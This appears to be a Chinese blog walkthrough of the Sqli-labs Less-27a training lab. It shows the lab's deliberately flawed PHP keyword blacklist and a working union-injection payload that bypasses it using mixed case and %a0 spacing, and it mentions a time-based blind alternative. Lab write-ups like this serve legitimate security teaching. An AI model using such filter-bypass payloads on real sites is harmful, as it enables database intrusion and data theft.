关键代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out Select
return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
//print_r(mysql_error());

本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示。

我们根据27关直接给出一个示例payload:

http://127.0.0.1/sql/Less-27a/?id=100"unIOn%a0seLect%a01,database(),"3

Sqli-labs Less-27a 绕过union、select等过滤 union注入

 

TIPS:这里说下以上payload我们利用最后的3前面的 " 将后面的 " 给闭合掉。或者亦可以利用以前的方法 1,database(),3 || "1,同时本关可以用延时注入的方法进行注入。

相关文章:

  • 2021-09-06
  • 2021-10-19
  • 2021-06-20
  • 2021-12-24
  • 2021-07-28
  • 2021-11-12
  • 2021-10-02
  • 2022-01-19
猜你喜欢
  • 2022-02-24
  • 2021-06-19
  • 2021-06-02
  • 2022-01-23
  • 2021-11-07
  • 2021-07-26
相关资源
相似解决方案